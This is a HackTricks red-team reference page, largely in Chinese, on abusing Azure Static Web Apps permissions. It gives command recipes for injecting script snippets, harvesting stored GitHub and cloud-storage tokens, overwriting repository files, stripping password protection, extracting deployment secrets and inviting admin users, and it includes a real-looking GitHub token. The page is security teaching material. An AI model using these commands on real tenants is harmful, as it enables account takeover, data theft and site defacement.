Az - Static Web Apps Post Exploitation

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Azure Static Web Apps

For more information about this service check:

Az - Static Web Applications

Microsoft.Web/staticSites/snippets/write

可以通过创建 snippet 使静态网页加载任意 HTML 代码。这可能允许攻击者在 web app 内注入 JS 代码并窃取敏感信息,例如 credentials 或用于 web3 wallets 的 mnemonic keys。

下面的命令会创建一个 snippet,该 snippet 将始终被 web app 加载::

az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'

读取已配置的第三方凭据

如在 App Service 部分所述:

Az - App Services Privesc

运行以下命令可以读取当前账户中配置的第三方凭据。注意,例如如果某些 Github 凭据配置在不同的用户下,你将无法从另一个用户访问该 token。

az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"

该命令返回 Github、Bitbucket、Dropbox 和 OneDrive 的 tokens。

下面是一些用于检查 tokens 的命令示例:

# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos

# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories

# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'

# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children

覆盖文件 - Overwrite routes, HTML, JS…

可以覆盖包含该应用的 Github 仓库 中的文件,方法是通过 Azure 拥有 Github token 时发送如下请求,该请求会指明要覆盖文件的路径、文件内容以及提交信息。

这可以被攻击者滥用,基本上可通过覆盖 staticwebapp.config.json 文件来更改 web app 的内容以提供恶意内容(窃取凭证、助记词等),或仅仅将某些路径重新路由到他们自己的服务器。

Warning

注意,如果攻击者以任何方式攻破 Github 仓库,他们也可以直接在 Github 上覆盖该文件。

curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'

Microsoft.Web/staticSites/config/write

有了此权限,可以通过发送如下请求修改保护 static web app 的密码,甚至取消保护所有环境:

# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'



# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'

Microsoft.Web/staticSites/listSecrets/action

该权限允许获取静态应用的 API 密钥部署令牌

使用 az rest:

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"

使用 AzCLI:

az staticwebapp secrets list --name <appname> --resource-group <RG>

Then, in order to 使用该令牌更新应用 you could run the following command. Note that this command was extracted checking Github Action https://github.com/Azure/static-web-apps-deploy 如何工作, as it’s the one Azure set by default ot use. So the image and paarements could change in the future.

Tip

要部署该应用,你可以使用来自 https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-tokenswa 工具,或者按以下原始步骤操作:

  1. 下载 repo https://github.com/staticwebdev/react-basic(或任何其他你想部署的 repo)并运行 cd react-basic
  2. 修改你想要部署的代码
  3. 运行以下命令进行部署(记得替换 <api-token>):
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose

Warning

即便你拥有 token,如果 Deployment Authorization Policy 被设置为 Github,你也无法部署该应用。要使用该 token,你需要权限 Microsoft.Web/staticSites/write 来将部署方法更改为使用 APi token。

Microsoft.Web/staticSites/write

有了此权限,可以将静态 Web 应用的源更改为不同的 Github repository,但是它不会被自动配置,因为这必须由 Github Action 完成。

但是,如果 Deployment Authotization Policy 被设置为 Github,则可以从新的源 repository 更新该应用!

如果 Deployment Authorization Policy 未设置为 Github,你可以使用相同的权限 Microsoft.Web/staticSites/write 将其更改。

# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main

# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'

示例 Github Action 用于部署该应用:

name: Azure Static Web Apps CI/CD

on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main

jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######

close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"

Microsoft.Web/staticSites/resetapikey/action

拥有此权限可以重置 static web app 的 API key,可能对自动部署该应用的 workflows 发起 DoSing。

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"

Microsoft.Web/staticSites/createUserInvitation/action

此权限允许为用户创建邀请,以便该用户使用指定角色访问 static web app 中的受保护路径。

登录位于例如 /.auth/login/github(用于 github)或 /.auth/login/aad(用于 Entra ID)这样的路径,用户可以使用以下命令被邀请:

az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app

Pull Requests

默认情况下,来自同一仓库分支的 Pull Requests 会在一个暂存环境中自动编译和构建。攻击者如果对仓库有写权限但无法绕过生产分支(通常为 main)的分支保护,可能会滥用这一点,在暂存 URL 上 部署恶意版本的应用

The staging URL has this format: https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain> like: https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net

Tip

注意:默认情况下外部 PR 不会运行 workflows,除非他们已经至少向仓库合并过 1 个 PR。攻击者可以先发送一个合法的 PR 到仓库,然后再发送一个恶意 PR,将恶意应用部署到暂存环境中。然而,存在一个意外的保护机制:用于部署到 static web app 的默认 GitHub Action 即便在使用 IDToken 进行部署时,也需要访问包含部署令牌的 secret(例如 secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F)。这意味着外部 PR 无法访问该 secret,且在 PR 未被接受的情况下,外部 PR 也无法修改 Workflow 来放入任意令牌,因此该攻击实际上无法奏效

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks